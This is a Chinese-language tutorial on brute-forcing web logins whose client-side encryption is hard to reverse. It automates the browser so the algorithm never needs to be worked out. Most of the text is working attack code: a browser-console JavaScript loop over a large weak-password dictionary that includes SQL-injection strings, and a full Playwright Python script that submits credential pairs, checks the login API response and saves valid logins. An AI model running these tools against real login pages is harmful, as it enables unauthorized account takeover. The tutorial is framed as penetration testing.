网页接口加密暴破-无需分析算法
前言
平时测试的时候,可能会遇到一些接口(如登陆接口)中的某些数据是加密的,如下图:

一般的思路:通过逆向分析前端加密算法,拿到密钥,再写脚本模拟加密过程构造想要的数据
备注
上面的思路是常规的思路,如果代码存在混淆,则比较费时费力,甚至分析不出来
因为加密都是在前端执行的,那么我们只需要模拟前端的操作即可
此处抛开burp插件和 jsrpc不谈
解决办法一:通过js模拟登录操作
- 定位输入框和按钮
- 设置数据
- 点击按钮
分析代码,找到我们要输入的框

然后定位到数据,有jquery的话会方便很多,没有就使用原生的js也不影响
document.getElementsByName("username")[0]
document.getElementsByName("password")[0]
document.getElementsByClassName("btn btn-primary btn-block")[0]
如果不好找,可以直接编辑html,手动添加id属性

然后再通过id进行定位
document.getElementById("testusername")
定位后该插入数据的就插入数据,该点击的就点击,具体看下面的实现代码
实现代码
var usernames = new Array('13299999999','13333333333','18888888888','13000000000');
var passwords = new Array('qwe123','root','toor','admin','admin123','admin666','admin888','123456','12345','1234','123','12','1','administrator','administrators','admin123456','admin12345','admin1234','admin12','admin1','phpcms','jyxy','asd123','xiaoyin','daxiong','ironport','111111','0','11111111','112233','123123','123321','12345678','654321','666666','888888','abcdef','abcabc','abc123','a1b2c3','test','aaa111','123qwe','qwerty','qweasd','password','p@ssword','passwd','iloveyou','5201314','monkey','1234567','letmein','trustno1','dragon','baseball','master','sunshine','ashley','bailey','passw0rd','shadow','superman','qazwsx','michael','football','xiaoming','qq123456','taobao','wang1234','zxc','changeme','654310','user','Password1','Password123','sql','sqlserver','server','webserver123','pos','kingdee','anypass','jie1982','database','sapassword','9876','sa123','p@ssw0rd','sa','1q2w3e','1q2w3e4r','1234qwer','8848','sasa','asas','9','99','999','9999','99999','999999','9999999','99999999','8','88','888','8888','88888','8888888','88888888','7','77','777','7777','77777','777777','7777777','6','66','666','6666','66666','5','55','555','5555','55555','555555','4','44','444','4444','44444','444444','4444444','3','33','333','3333','33333','333333','2','22','222','2222','22222','222222','11','111','1111','11111','manager','!@#$%^&*()','qwerty123456','zxcvbn123456','sa1','as','aa','aaa','abcd1234','aaaaaa','asdfghjkl;\'','sa123456789','sasasasa','@#$%&*()','gsp','asdf','power','123@#','778899','13579','12344321','147258','!@#$%^','!@#123','!@#$%^&*()','123!@#','!@##@!','1q2w3e4r','1q2w3e4r5t','1qaz2wsx','1qazxsw2','1qaz2wsx3edc','a','admin75','asd','crm','chinanet','erp','hello','hr','iem','king','MEDIA','microsoft','mnbvcxz','mysql','mysteelsoft','plm','q1w2e3r4','qwertyuiop','r4e3w2q1','sa!@#','sa!@#$%^','sa123456','sapass','saas','sasasa','sql2008','sqlpass','sqlpassword','sqladmin','sys','system','sunny','tianya','zxcvbnm','ems','crm2006','crm2007','crm2008','crm2009','crm2010','hrsvr','sa20060876','golf','123456Aa','123456Ab','123456Ac','test123','WebLogic','free','user1','user12','user123','user1234','user12345','user123456','#NAME?','liuwei123','admin2006','neteye','Test123456','admin*123','ucenter','aa123456','h3capadmin','1234567890','boston','guest','phpmyadmin','fuckyou','7007','jyadmin','020php168','seeyon','111111111','nozuonodie','1\'or\'1\'=\'1','world','helloworld','manageradmin111111','manageradmin','adminmanager111111','adminmanager','123456qq','qazwsxedc','huangxiaoqin','123456a','huawei','ncportal','111000','1314520','\'or\'=\'or\'','default','enable','discuz','laixianjian','unvs123','wordpress','leolee','localhost','10000','neworiental','youyuan','zuods123','123***','tomcat','dba','zted888888','xunlei','110','120','114','119','apache','xcmcn123456','adminInfo','skyclass','XXOO','xuezhenhe','10086','10010','guanliyuan','yunwei','cctv6','cctv5','cctv4','cctv3','cctv2','cctv1','12306','12306caonima','ete123','server123','null','admin111','caonima','nimabi','mlgb','conadmin','1qaz!QAZ','TRUE','FALSE');
for (i in usernames) {
document.getElementById("testusername").value=usernames[i]
for (j in passwords) {
document.getElementById("testpassword").value=passwords[j]
document.getElementsByClassName("btn btn-primary btn-block")[0].click()
}
}
效果:

解决办法二:通过playwright
如果对扫描速度有限制、或者存在验证码等额外参数,用纯 js 不好实现的,可以用 playwright 模拟登录,完全模拟正常浏览器操作。
普通暴破的 python 代码如下:
import asyncio
import time
from playwright.async_api import async_playwright
# ╔══════════════════════════════════════════════════════════════╗
# ║ >>> 配置区 <<< ║
# ║ 修改目标时只需调整以下变量 ║
# ╚══════════════════════════════════════════════════════════════╝
# ---------- 目标页面 ----------
TARGET_URL = "https://srm.xxx.com/abc/login.html"
# 登录页 URL 中的关键字,用于判断当前是否仍在登录页(需重新导航)
LOGIN_URL_KEYWORD = "login.html"
# ---------- 页面元素选择器(CSS Selector)----------
USERNAME_SELECTOR = 'input[placeholder="用户名/手机号/邮箱"]'
PASSWORD_SELECTOR = 'input[placeholder="密码"]'
LOGIN_BUTTON_SELECTOR = 'button._2R-qnNNR'
# ---------- 登录接口识别 ----------
# 点击登录后,等待哪个接口 URL 关键字返回(用于 expect_response)
LOGIN_API_KEYWORD = "yzjlogin.do"
# 等待接口响应的超时时间(毫秒)
RESPONSE_TIMEOUT = 10000
# ---------- 成功判断条件 ----------
# 接口返回 JSON 中,满足以下任意一个条件即视为登录成功
# 格式:(字段名, 期望值) —— 支持嵌套字段用 "." 分隔,如 "data.token"
SUCCESS_CONDITIONS = [
("success", True),
("code", 0),
]
# ---------- 字典文件 ----------
USERNAME_FILE = "username.txt"
PASSWORD_FILE = "passwords.txt"
# ---------- 结果输出 ----------
RESULT_FILE = "results.txt"
# ---------- 浏览器设置 ----------
HEADLESS = False # False = 显示浏览器窗口(调试用);True = 无头
PROXY = "http://127.0.0.1:8083" # 代理地址;设为 None 则不使用代理,建议设置burp或者也开通代理,方便查看请求
# ╔══════════════════════════════════════════════════════════════╗
# ║ >>> 以下为执行逻辑 <<< ║
# ╚══════════════════════════════════════════════════════════════╝
def load_file(filepath):
"""从文件加载列表,每行一个,忽略空行"""
with open(filepath, "r", encoding="utf-8") as f:
return [line.strip() for line in f if line.strip()]
def get_nested_value(data, key):
"""支持用 '.' 分隔符取嵌套字段值,如 'data.token'"""
for part in key.split("."):
if isinstance(data, dict):
data = data.get(part)
else:
return None
return data
def check_success(body):
"""根据 SUCCESS_CONDITIONS 判断是否登录成功"""
for field, expected in SUCCESS_CONDITIONS:
if get_nested_value(body, field) == expected:
return True
return False
async def try_login(page, username, password):
"""尝试一次登录,返回 (是否成功, 状态码, 响应体)"""
# 填写用户名
username_input = page.locator(USERNAME_SELECTOR)
await username_input.click()
await username_input.fill("")
await username_input.fill(username)
# 填写密码
password_input = page.locator(PASSWORD_SELECTOR)
await password_input.click()
await password_input.fill("")
await password_input.fill(password)
# 点击登录按钮并等待登录接口返回
async with page.expect_response(
lambda resp: LOGIN_API_KEYWORD in resp.url, timeout=RESPONSE_TIMEOUT
) as response_info:
await page.locator(LOGIN_BUTTON_SELECTOR).click()
response = await response_info.value
# 解析响应体(优先尝试 JSON,失败则取文本)
try:
body = await response.json()
except Exception:
try:
body = {"_raw": await response.text()}
except Exception:
body = {}
# 打印接口响应结果
print(f" [响应] 状态码: {response.status} | Body: {body}")
# 判断是否成功
success = (response.status == 200) and check_success(body)
return success, response.status, body
async def main():
usernames = load_file(USERNAME_FILE)
passwords = load_file(PASSWORD_FILE)
print(f"[*] 加载了 {len(usernames)} 个用户名, {len(passwords)} 个密码")
print(f"[*] 总计 {len(usernames) * len(passwords)} 次尝试")
print(f"[*] 目标: {TARGET_URL}")
print(f"[*] 代理: {PROXY or '无'}")
print(f"[*] 无头模式: {'是' if HEADLESS else '否'}")
print("-" * 60)
results = []
async with async_playwright() as p:
launch_opts = {"headless": HEADLESS}
if PROXY:
launch_opts["proxy"] = {"server": PROXY}
browser = await p.chromium.launch(**launch_opts)
context = await browser.new_context()
page = await context.new_page()
for username in usernames:
for password in passwords:
# 每次尝试前确保在登录页
if LOGIN_URL_KEYWORD not in page.url:
await page.goto(TARGET_URL, wait_until="networkidle")
else:
await page.wait_for_load_state("networkidle")
start = time.time()
success, status_code, resp_body = await try_login(page, username, password)
elapsed = time.time() - start
status = "成功 ✓" if success else "失败 ✗"
print(
f"[{status}] 用户名: {username:<20} 密码: {password:<20} "
f"状态码: {status_code} 耗时: {elapsed:.2f}s"
)
if success:
results.append((username, password))
print(f"\n{'='*60}")
print(f"[+] 发现有效凭证: {username} / {password}")
print(f"{'='*60}\n")
# 发现成功后跳回登录页继续测试其他组合
await page.goto(TARGET_URL, wait_until="networkidle")
await browser.close()
# 输出汇总
print("\n" + "=" * 60)
print("[*] 扫描完成!")
if results:
print(f"[+] 共发现 {len(results)} 组有效凭证:")
for u, pw in results:
print(f" 用户名: {u} 密码: {pw}")
else:
print("[-] 未发现有效凭证")
print("=" * 60)
# 保存结果到文件
with open(RESULT_FILE, "w", encoding="utf-8") as f:
if results:
for u, pw in results:
f.write(f"{u}:{pw}\n")
else:
f.write("未发现有效凭证\n")
print(f"[*] 结果已保存到 {RESULT_FILE}")
if __name__ == "__main__":
asyncio.run(main())